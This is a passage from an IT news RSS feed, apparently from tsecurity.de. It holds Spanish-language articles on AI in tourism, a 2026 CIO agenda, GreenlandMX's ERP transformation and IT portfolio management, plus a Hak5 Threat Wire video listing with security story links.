https://b2b-contenthub.com/wp-content/uploads/2025/01/GARPRESS-0121.jpg?resize=929%2C697&amp;quality=50&amp;strip=all 929w, https://b2b-contenthub.com/wp-content/uploads/2025/01/GARPRESS-0121.jpg?resize=224%2C168&amp;quality=50&amp;strip=all 224w, https://b2b-contenthub.com/wp-content/uploads/2025/01/GARPRESS-0121.jpg?resize=112%2C84&amp;quality=50&amp;strip=all 112w, https://b2b-contenthub.com/wp-content/uploads/2025/01/GARPRESS-0121.jpg?resize=640%2C480&amp;quality=50&amp;strip=all 640w, https://b2b-contenthub.com/wp-content/uploads/2025/01/GARPRESS-0121.jpg?resize=480%2C360&amp;quality=50&amp;strip=all 480w, https://b2b-contenthub.com/wp-content/uploads/2025/01/GARPRESS-0121.jpg?resize=333%2C250&amp;quality=50&amp;strip=all 333w" width="1024" height="768" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p><strong>Joan Barceló (W2M) en los CIO 100 Awards Spain 2024.</strong></p></figcaption></figure><p class="imageCredit">Garpress | Foundry</p></div>



<figure class="wp-block-pullquote"><blockquote><p><strong><em>“El mayor reto no es implantar IA, sino decidir dónde aporta valor real y dónde no”, asegura Joan Barceló (W2M)</em></strong></p></blockquote></figure>



<p>Como se ha podido ver esta semana en Fitur, <strong>el sector turismo está adoptando la IA de forma creciente</strong>. En este foro, el grupo europeo de software Septeo ha introducido su nueva oferta de soluciones <em>traveltech </em>con IA, como el motor de reservas con IA Witbooking o su Ulyses PMS, que integra nuevos agentes para operaciones, <em>revenue </em>y <em>housekeeping</em>. También en estas fechas, la plataforma de viajes eDreams Odigeo ha anunciado la ampliación de su ecosistema de IA con tecnología agentiva, capaz de ejecutar reservas de extremo a extremo de forma autónoma. Según datos de la firma, más del 30% de su nuevo código es ya generado por IA.</p>



<p>Más allá de la integración empresarial, la IA ofrece otras posibilidades a nivel de gestión pública. Desde el TI·LAB, organismo formado por personal del Instituto Universitario de Investigaciones Turísticas (IUIT) y del Instituto Universitario de Investigación Informática (IUII) de la Universitat d’Alacant, <a href="https://lab.turismodetorrevieja.com/inteligencia-artificial-herramienta-turismo-siglo-xxi/" target="_blank" rel="nofollow">plantean</a> una visión de la IA como “sistema operativo”, un “<strong>soporte para que todo funcione de manera más coordinada y eficiente</strong>”. Aplicada a un destino de alta ocupación, como es Torrevieja, defienden su potencial para reducir la saturación al anticipar la llegada de visitantes, mejorar la movilidad a través del análisis de patrones de movilidad o la optimización del consumo de agua o energía, en función del número de turistas. Acciones que, aclaran, no sustituyen el trabajo de gestión, sino que lo mejoran. Un ejemplo de esto es la iniciativa WATOURISM, <a href="https://diari.uib.es/Hemeroteca/La-UIB-i-Veolia-promouen-un-projecte-de-gestio-de.cid817311r-turistic-davant-el-canvi-climatic" target="_blank" rel="nofollow">recientemente oficializada</a>, que analizará la gestión eficiente del agua vinculada al turismo en el municipio de Calvià.</p>



<h2 class="wp-block-heading">Aporte al sector</h2>



<p>Estos beneficios se pueden extrapolar a otras empresas. Para Barceló, “la integración de IA está permitiendo al sector turístico <strong>evolucionar su modelo operativo</strong>, anticiparse y ser menos reactivo, pasando de la gestión de tareas manuales a orquestar inteligencia y tomar decisiones basadas en datos”. Miller lo completa: “La IA aporta <strong>simplicidad</strong>, y eso es más poderoso de lo que parece. Impulsa al sector hacia experiencias más cohesionadas, proactivas y casi invisibles, donde el viajero apenas nota la complejidad y el viaje simplemente fluye”. Un potencial que ya está empezando a rendir, pero que aún tiene mucho por explorar.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[An Insane Timing Allowed Researchers To Take Over AWS Packages - Threat Wire]]></title>
<description><![CDATA[Author: Hak5 - Bewertung: 27x - Views:181 ⬇️ OPEN FOR LINKS TO ARTICLES TO LEARN MORE ⬇️


@endingwithali →
Twitch: https://twitch.tv/endingwithali
Twitter: https://twitter.com/endingwithali
YouTube: https://youtube.com/@endingwithali
Everywhere else: https://links.ali.dev

Want to work with Ali?...]]></description>
<link>https://tsecurity.de/de/3228658/it-security-video/an-insane-timing-allowed-researchers-to-take-over-aws-packages-threat-wire/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3228658/it-security-video/an-insane-timing-allowed-researchers-to-take-over-aws-packages-threat-wire/</guid>
<pubDate>Thu, 22 Jan 2026 17:32:18 +0100</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Hak5 - Bewertung: 27x - Views:181 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/ZrRfc3mbtt4?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>⬇️ OPEN FOR LINKS TO ARTICLES TO LEARN MORE ⬇️<br />
<br />
<br />
@endingwithali →<br />
Twitch: https://twitch.tv/endingwithali<br />
Twitter: https://twitter.com/endingwithali<br />
YouTube: https://youtube.com/@endingwithali<br />
Everywhere else: https://links.ali.dev<br />
<br />
Want to work with Ali? endingwithalicollabs@gmail.com<br />
<br />
[❗] Join the Patreon→ https://patreon.com/threatwire<br />
00:00  0 - Intro<br />
00:16 1 - Insane Timing Made AWS Vulnerable<br />
03:50 2 - N8N continues to get rocked<br />
05:11 3 - Mandiant’s new Rainbow Table<br />
06:44 4 - Node’s DOS Security Statement<br />
08:41 5 - Other Stories You Should Know<br />
09:03 6 - Outro<br />
<br />
LINKS<br />
🔗 Story 1: Insane Timing Made AWS Vulnerable<br />
https://docs.aws.amazon.com/whitepapers/latest/introduction-devops-aws/aws-codebuild.html<br />
https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild<br />
🔗 Story 2: N8N continues to get rocked<br />
https://thehackernews.com/2026/01/n8n-supply-chain-attack-abuses.html<br />
https://www.endorlabs.com/learn/n8mare-on-auth-street-supply-chain-attack-targets-n8n-ecosystem<br />
🔗 Story 3: Mandiant’s new Rainbow Table<br />
https://cloud.google.com/blog/topics/threat-intelligence/net-ntlmv1-deprecation-rainbow-tables/<br />
https://arstechnica.com/security/2026/01/mandiant-releases-rainbow-table-that-cracks-weak-admin-password-in-12-hours/<br />
https://calcomsoftware.com/ntlm-v1-and-v2-vs-kerberos/<br />
🔗 Story 4: Node’s DOS Security Statement<br />
https://thehackernews.com/2026/01/critical-nodejs-vulnerability-can-cause.html<br />
https://nodejs.org/en/blog/vulnerability/january-2026-dos-mitigation-async-hooks <br />
🔗 Story 5: Other Stories You Should Know<br />
https://botcrawl.com/microsoft-confirms-windows-11-shutdown-bug-after-january-update/<br />
https://arstechnica.com/security/2026/01/never-before-seen-linux-malware-is-far-more-advanced-than-typical/<br />
-----☆-----☆-----☆-----☆-----☆-----☆-----☆-----☆-----☆-----☆<br />
Our Site → https://www.hak5.org<br />
Shop →  http://hakshop.myshopify.com/<br />
Community → https://www.hak5.org/community<br />
Subscribe → https://www.youtube.com/user/Hak5Darren?sub_confirmation=1<br />
Support → https://www.patreon.com/threatwire<br />
Contact Us → http://www.twitter.com/hak5<br />
____________________________________________<br />
<br />
Founded in 2005, Hak5's mission is to advance the InfoSec industry. We do this through our award winning educational podcasts, leading pentest gear, and inclusive community – where all hackers belong.<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[La agenda del CIO en 2026: de la exploración a la responsabilidad]]></title>
<description><![CDATA[La presión para este cambio viene de tres frentes. Primero, el mercado de la IA entra en una fase de corrección, por la dificultad para traducirla en retorno financiero.  Segundo, Europa pone en marcha una nueva ola de ejecución regulatoria: la Comisión Europea marca el 2 de agosto de 2026 como e...]]></description>
<link>https://tsecurity.de/de/3227656/it-security-nachrichten/la-agenda-del-cio-en-2026-de-la-exploracin-a-la-responsabilidad/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3227656/it-security-nachrichten/la-agenda-del-cio-en-2026-de-la-exploracin-a-la-responsabilidad/</guid>
<pubDate>Thu, 22 Jan 2026 10:36:00 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>La presión para este cambio viene de tres frentes. Primero, el mercado de la IA entra en una fase de <strong>corrección</strong>, por la dificultad para traducirla en <strong>retorno</strong> financiero.  Segundo, Europa pone en marcha una nueva ola de <strong>ejecución regulatoria</strong>: la Comisión Europea marca el 2 de agosto de 2026 como el momento en el que la mayoría de reglas del <strong><a href="https://ai-act-service-desk.ec.europa.eu/en/ai-act/timeline/timeline-implementation-eu-ai-act" target="_blank" rel="nofollow">AI Act</a></strong> entran en aplicación. Tercero, <a href="https://www.computerworld.es/article/4116639/segun-el-foro-economico-mundial-el-riesgo-de-ciberseguridad-se-acelerara-este-ano-impulsado-por-la-ia.html">la superficie de riesgo se reconfigura</a>: el <a href="https://reports.weforum.org/docs/WEF_Global_Cybersecurity_Outlook_2026.pdf" target="_blank" rel="nofollow">Foro Económico Mundial coloca el <strong>fraude digital</strong> entre las amenazas que más se propagan y lo eleva al nivel de la alta dirección</a>.</p>



<p>He aquí las cinco prioridades que van a configurar la agenda del CIO en los próximos 12 meses: la <strong>responsabilidad económica</strong> sobre la <strong>IA</strong> que va a impactar en el despliegue de agentes; el desplazamiento de la <strong>confianza</strong> hacia la <strong>evidencia</strong>; la <strong>transformación</strong> del mecanismo de <strong>desarrollo y entrega</strong> de software; la entrada de la <strong>IA en el mundo físico</strong> acompañada de cumplimiento; y  <strong>identidad digital y FraudOps</strong> como capacidad transversal para contener un fraude altamente sofisticado.</p>



<h2 class="wp-block-heading">La IA se juega el presupuesto: agentes condicionados por retorno y probabilidad de escalado</h2>



<p>En 2025 ya se veía con claridad un patrón en la IA: muchos proyectos no conseguían cruzar el abismo del escalado. En 2026, ese cuello de botella pasa a ser un problema de inversión. Los directores financieros (<strong>CFO</strong>) entran en el proceso de decisión, <strong>endureciendo</strong> los criterios a la hora de asignar <strong>presupuestos</strong>.</p>



<p>Eso obliga al CIO (y a las unidades de negocio usuarias) a cambiar el foco. Ya no basta con mostrar que una iniciativa funciona técnicamente; hay que demostrar que es escalable, rentable y controlable. La <strong>evaluación</strong> se vuelve más exigente porque tiene que incorporar aspectos <strong>económicos</strong> y <strong>probabilidad de escalado</strong> desde el principio.</p>



<p>En este contexto, los sistemas de <strong>agentes</strong> entran como un mecanismo potencial para <strong>cerrar la brecha</strong> entre piloto y producción, aunque <strong>no como una garantía</strong> automática. En las implementaciones ha quedado claro que el abismo del escalado no está en el modelo, sino en la integración en la operación.</p>



<p>Un sistema de agentes bien diseñado tiene la ventaja de que convierte la IA en trabajo <strong>repetible</strong>: encadena tareas, integra herramientas y estandariza un proceso para llevarlo a producción. Pero también necesita más <strong>escrutinio</strong>, porque puede disparar los costes, incidencias y riesgos. Por eso, los agentes que más valor van a portar serán los que incorporen un <strong>gobierno</strong> robusto desde el principio.</p>



<h2 class="wp-block-heading">De confianza a prueba: autenticidad del contenido e integridad del software</h2>



<p> A partir de este año, entramos en la <strong>era de la evidencia</strong>: la confianza en contenidos y software ya no se asume, y se tiene que apoyar en <strong>evidencias verificables</strong>. La suplantación y la manipulación a escala, facilitadas por la IA, ya están en el radar de la alta dirección.</p>



<p>El primer ámbito es la <strong>confianza en el contenido</strong>, tanto el que la empresa consume como el que produce. Con un contenido sintético cada vez más convincente, el problema pasa de ser reputacional a <strong>operativo</strong> (aprobaciones, auditoría, y comunicación interna). Por eso se está hablando cada vez más de la <strong>procedencia verificable del contenido</strong> (<em>content provenance)</em> y de <a href="https://c2pa.org/" target="_blank" rel="nofollow">estándares como <strong>C2PA</strong></a><strong>,</strong> que permiten adjuntar metadatos de procedencia y ediciones para que terceros puedan verificar el origen y cadena de custodia.</p>



<p>El segundo ámbito es la <strong>confianza en el software</strong> que la organización ejecuta y desarrolla, incluido el que lleva dentro. Las organizaciones tienen claro que existen riesgos en la <strong>cadena de suministro</strong> del software, y quieren verificarla. Esto se traduce en tres evidencias clave: el <strong>SBOM</strong> (<em>Software Bill Of Materials</em>, o lista de componentes de software), la <strong>firma de artefactos</strong> (para asegurar que no han sido manipulados) y la <strong>trazabilidad</strong> en el <strong>desarrollo</strong> (<em>build provenance</em>). <a href="https://www.enisa.europa.eu/news/call-for-feedback-advancing-software-supply-chain-security-together" target="_blank" rel="nofollow"><strong>ENISA</strong> está impulsando <strong>guías</strong> prácticas para aplicar estas medidas</a> y reducir riesgos.</p>



<p>La evidencia por defecto va a entrar en los <strong>procesos de compra</strong>, evaluación de riesgo y auditoría, y se exigirán cada vez más pruebas de autenticidad, composición y construcción del software</p>



<h2 class="wp-block-heading">La IA reescribe el ciclo de vida del software y abre la puerta a los agentes</h2>



<p>Durante 2025 la conversación sobre IA y software se ha centrado en productividad: escribir código más rápido, reducir tiempos, costes en incluso personal. En 2026 se pone en marcha un cambio más profundo: la IA empieza a <strong>transformar el método </strong>con el que se <strong>construye, prueba y entrega</strong> el software.</p>



<p>Este cambio exige <strong>aprendizaje</strong> organizativo por una razón simple: la IA permite generar cambios más rápido, pero esos cambios serán <strong>frágiles</strong> si no se refuerzan al mismo tiempo la <strong>calidad</strong>, las pruebas y la observabilidad. Por eso, en 2026 la prioridad del CIO no se limita a añadir asistentes, sino <strong>rediseñar</strong> la <strong>fábrica</strong> de software para absorber esa velocidad sin perder fiabilidad.</p>



<p>Dentro de este rediseño entra en juego un elemento incipiente: los <strong>agentes de ingeniería de software (SWE agents)</strong>. A diferencia de un asistente que sugiere, un agente <strong>ejecuta</strong> tareas concretas del ciclo de vida bajo ciertas reglas. Este enfoque empieza a verse en productos que se describen como agentes capaces de resolver incidencias, o como “AI software engineer”, aunque estamos en las etapas iniciales.</p>



<p>Este año, los agentes se van a empezar a integrar en la fábrica de software como un <strong>componente controlado</strong>. Es decir, con permisos mínimos, <strong>límites</strong> claros sobre lo que pueden hacer, registro trazable de cada cambio, y <strong>revisión humana</strong> cuando el riesgo lo justifique. Sin ese marco, los agentes no aceleran el <em>delivery</em>, sino que desplazan la complejidad hacia el aseguramiento de la calidad (QA), la seguridad y la operación.</p>



<h2 class="wp-block-heading">La IA cruza al mundo físico: acciones inteligentes bajo supervisión</h2>



<p>Este año, la <strong>IA</strong> va a entrar con fuerza en el <strong>mundo físico</strong>, y las posibilidades son amplias: visión artificial, robótica, mantenimiento, seguridad, logística, retail o sanidad. La clave está en que la IA ya no aporta solo analítica o recomendaciones y pasa a realizar <strong>acciones inteligentes</strong>.</p>



<p>Esta entrada se va a llevar a cabo de la mano del <strong>cumplimiento regulatorio</strong>. La pregunta aquí no es lo que se puede hacer, sino lo que se permite hacer y bajo qué límites. Por eso, el cumplimiento deja de ser un apéndice y se convierte en parte del diseño.</p>



<p>Dos marcos europeos van a dar forma a esta realidad. Por un lado, <a href="https://digital-strategy.ec.europa.eu/en/policies/regulatory-framework-ai" target="_blank" rel="nofollow">el <strong>AI Act</strong> entra en una fase de activación a partir del <strong>2 de agosto de 2026</strong></a>, elevando la exigencia de control, documentación y supervisión. Por otro, el <a href="https://digital-strategy.ec.europa.eu/en/policies/cra-reporting" target="_blank" rel="nofollow"><strong>Cyber Resilience Act</strong> impulsa desde el <strong>11 de septiembre de 2026</strong> obligaciones de <em>reporting</em> en productos con elementos digitales</a>.</p>



<p>Para el CIO, la conclusión es clara: la <strong>separación entre IT/OT</strong> o entre lo digital y lo físico <strong>no funciona</strong> a la hora de gestionar esta nueva etapa. La prioridad es <strong>coordinar</strong>, de forma operativa, a ingeniería, seguridad, proveedores y operaciones, porque el riesgo y la responsabilidad recorren toda la <strong>cadena</strong>. En síntesis, la clave está en incorporar una IA en las operaciones que resista auditoría, incidentes y escalado.</p>



<h2 class="wp-block-heading">El fraude se industrializa: identidad y <em>FraudOps </em>como respuesta</h2>



<p>La quinta prioridad cierra la agenda con una realidad incómoda: el <strong>fraude</strong> habilitado por medios digitales está <strong>escalando</strong> en volumen y sofisticación, y obliga a crear una capacidad transversal que va más allá del SOC.</p>



<p>El énfasis que ha ganado la verificación de contenido es parte de la respuesta. Pero hace falta no solo cubrir el qué, sino el quién. Por eso, está ganando protagonismo la <strong>identidad</strong>, que abarca clientes, empleados y proveedores, pero también identidades no humanas (servicios, APIs o agentes). Se trata de verificarla de forma fiable en los <strong>momentos de mayor riesgo</strong>.</p>



<p>Para ello, se empieza a hablar de <strong>FraudOps</strong> como la forma de hacer operacional la lucha contra el fraude. No se limita a controles puntuales o reaccionar cuando salta una alerta, sino que convierte la prevención y respuesta al fraude en un proceso continuo y medible. Este <strong>se integra en los flujos críticos</strong> del negocio (onboarding, pagos, altas, cambios de datos o aprobaciones). Se trata de un ciclo con medición y aprendizaje, donde se ajustan las reglas para reducir falsos positivos y mejorar los resultados, manteniendo al mínimo la fricción del usuario.</p>



<p>En paralelo, la <strong>identidad digital europea</strong> se acelera: la Comisión Europea indica que cada Estado miembro ofrecerá al menos una versión del <strong><a href="https://ec.europa.eu/digital-building-blocks/sites/spaces/EUDIGITALIDENTITYWALLET/pages/694487738/EU%2BDigital%2BIdentity%2BWallet%2BHome" target="_blank" rel="nofollow">EU Digital Identity Wallet</a></strong> para 2026. Para el CIO esto es relevante porque impulsa credenciales verificables y evita controles pesados.</p>



<p>En definitiva, si 2024 y 2025 fueron años de exploración y experimentación, 2026 es el año de la responsabilidad, tanto económica (resultados que justifiquen la inversión), como sobre cumplimiento (demostrar autenticidad, cumplimiento e identidad).</p>



<hr class="wp-block-separator has-alpha-channel-opacity">
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[GreenlandMX acelera su transformación digital para asegurar la escalabilidad del comercio electrónico]]></title>
<description><![CDATA[La distribución multimarca lleva años viviendo una profunda transformación marcada por la digitalización, la automatización de procesos y la necesidad de dar una respuesta más eficiente a los clientes. En este contexto opera GreenlandMX, tienda online especializada en la moto de campo con más de ...]]></description>
<link>https://tsecurity.de/de/3227590/it-security-nachrichten/greenlandmx-acelera-su-transformacin-digital-para-asegurar-la-escalabilidad-del-comercio-electrnico/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3227590/it-security-nachrichten/greenlandmx-acelera-su-transformacin-digital-para-asegurar-la-escalabilidad-del-comercio-electrnico/</guid>
<pubDate>Thu, 22 Jan 2026 10:04:51 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>La distribución multimarca lleva años viviendo una profunda transformación marcada por la digitalización, la automatización de procesos y la necesidad de dar una respuesta más eficiente a los clientes. En este contexto opera <strong>GreenlandMX</strong>, tienda <em>online </em>especializada en la moto de campo con más de 20 años de experiencia en el comercio electrónico europeo.</p>



<p>Al igual que muchas compañías del sector, la marca se enfrenta a un reto doble: mejorar su eficiencia interna y sostener un negocio cada vez más dinámico, apoyado en el comercio electrónico, la gestión inteligente del catálogo y la toma de decisiones basada en datos. Para ello, ha emprendido un proyecto de transformación digital profundo y progresivo que está redefiniendo la manera en la que trabaja.</p>



<p>Según <strong>Marc Codina, jefe de proyecto de TI y CTO de GreenlandMX</strong>, la compañía “se encuentra en una fase de consolidación y escalado”. Durante 2025 han iniciado la unificación del ERP a nivel de grupo, han puesto en marcha un PIM corporativo como fuente única de datos de producto y trabajan en la convergencia del SGA. “El foco ahora está en estabilizar y extraer eficiencias”, apunta.</p>



<p>El proceso de transformación digital arrancó formalmente en el año 2023, con una hoja de ruta que fue activándose por fases entre 2024 y 2025. Codina recuerda que el programa nació con cuatro objetivos principales: “Disponer de un dato maestro único en clientes, precios y producto; homogeneizar procesos en toda la organización, desde <em>order-to-cash</em> hasta <em>procure-to-pay;</em> asegurar la escalabilidad del comercio electrónico; y facilitar un <em>reporting</em> directivo en tiempo casi real”. Este enfoque busca eliminar silos y crear un modelo operativo más coherente y medible.</p>



<p>Uno de los proyectos estrella acometidos por la compañía dentro de ese proceso de transformación digital es la <strong>estandarización del ERP a nivel de grupo</strong>, una iniciativa que ha permitido unificar procedimientos y mejorar el control operativo en distintas áreas, aprovechando todas las capacidades de la solución SAGE X3. En este despliegue, GreenlandMX ha colaborado con el integrador Aitana, cuya participación ha sido clave para acompañar el cambio cultural asociado al proyecto. “Su equipo nos ha acompañado con una alta profesionalidad y experiencia, ayudándonos a superar la resistencia natural al cambio que conlleva una transformación tecnológica de este alcance”, explica Codina.  </p>



<p>Más del 95% de los pedidos ya se integran automáticamente en el ERP sin intervención manual, lo que ha permitido optimizar el proceso de compra, reducir errores y duplicidades, disminuir incidencias por recepciones incorrectas y aumentar la visibilidad en la trazabilidad de pedidos e información. Aunque la compañía no aporta cifras exactas de la inversión en este proyecto, según Marc Codina, “se sitúa en seis cifras, con un retorno estimado de entre 18 y 24 meses gracias a la eficiencia y el incremento de conversión en ventas”.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/01/GREENLAND.png?w=1024" alt="imagen de GreenlandMX " class="wp-image-4120532" srcset="https://b2b-contenthub.com/wp-content/uploads/2026/01/GREENLAND.png?quality=50&amp;strip=all 1278w, https://b2b-contenthub.com/wp-content/uploads/2026/01/GREENLAND.png?resize=300%2C100&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2026/01/GREENLAND.png?resize=768%2C256&amp;quality=50&amp;strip=all 768w, https://b2b-contenthub.com/wp-content/uploads/2026/01/GREENLAND.png?resize=1024%2C341&amp;quality=50&amp;strip=all 1024w, https://b2b-contenthub.com/wp-content/uploads/2026/01/GREENLAND.png?resize=1240%2C413&amp;quality=50&amp;strip=all 1240w, https://b2b-contenthub.com/wp-content/uploads/2026/01/GREENLAND.png?resize=150%2C50&amp;quality=50&amp;strip=all 150w, https://b2b-contenthub.com/wp-content/uploads/2026/01/GREENLAND.png?resize=854%2C285&amp;quality=50&amp;strip=all 854w, https://b2b-contenthub.com/wp-content/uploads/2026/01/GREENLAND.png?resize=640%2C213&amp;quality=50&amp;strip=all 640w, https://b2b-contenthub.com/wp-content/uploads/2026/01/GREENLAND.png?resize=444%2C148&amp;quality=50&amp;strip=all 444w" width="1024" height="341" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">GreenlandMX </p></div>



<h2 class="wp-block-heading">Bases sólidas de TI</h2>



<p>Todo ese proceso de transformación ha llevado a que, en la actualidad, la base tecnológica de la compañía se sustente en un ERP estandarizado que centraliza procesos financieros y operativos, en un PIM corporativo que actúa como repositorio único de información de producto en varios idiomas y en una plataforma eCommerce B2C y B2B integrada directamente con ambos sistemas. Todo ello se complementa con un sistema de BI que da soporte a modelos semánticos y cuadros de mando corporativos y con soluciones de ITSM para soporte, trazabilidad y gobierno de cambios. Además, según el CTO, la seguridad se ha convertido en un aspecto crítico, donde la organización ha reforzado capacidades con tecnologías como SSO, MFA, hardening y monitorización activa.</p>



<p>Sin embargo, el camino no ha sido sencillo. GreenlandMX ha tenido que afrontar una serie de desafíos que han acompañado a la implantación tecnológica, entre ellos la gobernanza del dato, la normalización de catálogos heredados, la gestión del cambio y la formación de usuarios. A esto se suman condicionantes propios del negocio, como la necesidad de ajustar los despliegues a períodos de alta actividad comercial, especialmente durante <em>Black Month</em> (extensión de las ofertas del <em>Black Friday</em>) y Navidad, y la integración con sistemas <em>legacy</em>, donde el SGA ha sido uno de los puntos más exigentes. Codina también subraya la importancia de una disciplina estricta en integración continua y aseguramiento de calidad para evitar retrabajos y mantener la estabilidad operativa.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/01/cto-corver.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Marc Codina, jefe de proyecto de TI y CTO de GreenlandMX" class="wp-image-4116123" srcset="https://b2b-contenthub.com/wp-content/uploads/2026/01/cto-corver.jpg?quality=50&amp;strip=all 3382w, https://b2b-contenthub.com/wp-content/uploads/2026/01/cto-corver.jpg?resize=300%2C187&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2026/01/cto-corver.jpg?resize=768%2C479&amp;quality=50&amp;strip=all 768w, https://b2b-contenthub.com/wp-content/uploads/2026/01/cto-corver.jpg?resize=1024%2C638&amp;quality=50&amp;strip=all 1024w, https://b2b-contenthub.com/wp-content/uploads/2026/01/cto-corver.jpg?resize=1536%2C957&amp;quality=50&amp;strip=all 1536w, https://b2b-contenthub.com/wp-content/uploads/2026/01/cto-corver.jpg?resize=2048%2C1277&amp;quality=50&amp;strip=all 2048w, https://b2b-contenthub.com/wp-content/uploads/2026/01/cto-corver.jpg?resize=1118%2C697&amp;quality=50&amp;strip=all 1118w, https://b2b-contenthub.com/wp-content/uploads/2026/01/cto-corver.jpg?resize=270%2C168&amp;quality=50&amp;strip=all 270w, https://b2b-contenthub.com/wp-content/uploads/2026/01/cto-corver.jpg?resize=135%2C84&amp;quality=50&amp;strip=all 135w, https://b2b-contenthub.com/wp-content/uploads/2026/01/cto-corver.jpg?resize=770%2C480&amp;quality=50&amp;strip=all 770w, https://b2b-contenthub.com/wp-content/uploads/2026/01/cto-corver.jpg?resize=578%2C360&amp;quality=50&amp;strip=all 578w, https://b2b-contenthub.com/wp-content/uploads/2026/01/cto-corver.jpg?resize=401%2C250&amp;quality=50&amp;strip=all 401w" width="1024" height="638" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p><strong>Marc Codina, jefe de proyecto de TI y CTO de GreenlandMX.</strong></p></figcaption></figure><p class="imageCredit">GreenlandMX</p></div>



<h2 class="wp-block-heading">Un horizonte marcado por la transformación</h2>



<p>De cara al futuro, la compañía española se ha fijado nuevos objetivos que consolidan y amplían la transformación ya iniciada. Entre ellos se encuentran la unificación del SGA/WMS, el desarrollo de una experiencia omnicanal real con <em>stock</em> unificado y reglas de precios coherentes, la automatización del ciclo de vida del producto de extremo a extremo, la mejora de las integraciones con herramientas más avanzadas y el refuerzo de la ciberseguridad y la gestión de identidades. En paralelo, GreenlandMX continúa incorporando tecnologías avanzadas allí donde tienen impacto directo, desde BI y analítica predictiva hasta IA y <em>machine learning</em> para enriquecimiento de atributos o traducciones asistidas, así como RPA en operaciones de <em>back-office</em> y traducción automática para acelerar la publicación de contenido multilingüe.</p>



<p>En definitiva, Codina define la visión de la compañía como “pragmática y sostenida”, basada en seguir midiendo el valor de cada lanzamiento y extender herramientas y estándares a todas las empresas que forman parte del grupo. Todo ello con un objetivo claro: avanzar hacia una estandarización global que combine eficiencia operativa y la flexibilidad que exige el negocio.</p>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Gestión de la cartera de TI: cómo optimizar los activos tecnológicos para generar valor empresarial]]></title>
<description><![CDATA[En el ámbito financiero, la gestión de carteras consiste en seleccionar estratégicamente un conjunto de inversiones alineadas con los objetivos financieros y la tolerancia al riesgo del inversor. Este mismo enfoque puede aplicarse a la cartera de sistemas de TI, con una salvedad clave: además del...]]></description>
<link>https://tsecurity.de/de/3221620/it-security-nachrichten/gestin-de-la-cartera-de-ti-cmo-optimizar-los-activos-tecnolgicos-para-generar-valor-empresarial/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3221620/it-security-nachrichten/gestin-de-la-cartera-de-ti-cmo-optimizar-los-activos-tecnolgicos-para-generar-valor-empresarial/</guid>
<pubDate>Mon, 19 Jan 2026 15:50:37 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>En el ámbito financiero, la gestión de carteras consiste en seleccionar estratégicamente un conjunto de inversiones alineadas con los objetivos financieros y la tolerancia al riesgo del inversor. Este mismo enfoque puede aplicarse a la cartera de sistemas de TI, con una salvedad clave: además del rendimiento financiero, la función de TI debe evaluar cada activo también desde el punto de vista de su rendimiento operativo.</p>



<p>La TI actual combina sistemas heredados, plataformas en la nube y tecnologías emergentes o de vanguardia, como la inteligencia artificial (IA). Cada una de estas categorías incluye activos críticos para la misión, pero no todos los sistemas aportan el mismo valor empresarial, financiero o de mitigación de riesgos. ¿Cómo pueden los CIO optimizar el rendimiento global de su cartera tecnológica?</p>



<p>A continuación, se exponen cinco criterios de evaluación para maximizar el valor de la cartera de TI.</p>



<h2 class="wp-block-heading">Activos críticos</h2>



<p>Los sistemas más críticos para el funcionamiento diario del negocio constituyen una categoría en sí mismos. Pueden ser visibles o estar ocultos en lo más profundo de la pila tecnológica, pero todos los activos deben evaluarse en función de su grado de criticidad.</p>



<p>Por ejemplo, una solución ERP puede ser un sistema imprescindible 24×7 porque interactúa con una cadena de suministro global y soporta gran parte del negocio de la empresa. En cambio, una aplicación de recursos humanos o un sistema de analítica de <em>marketing</em> probablemente podrían permanecer inactivos durante un día si el personal dispone de soluciones alternativas.</p>



<p>Este mismo análisis debe aplicarse a servidores, redes y sistemas de almacenamiento. ¿Qué recursos son absolutamente imprescindibles y de cuáles se podría prescindir, aunque sólo sea de forma temporal?</p>



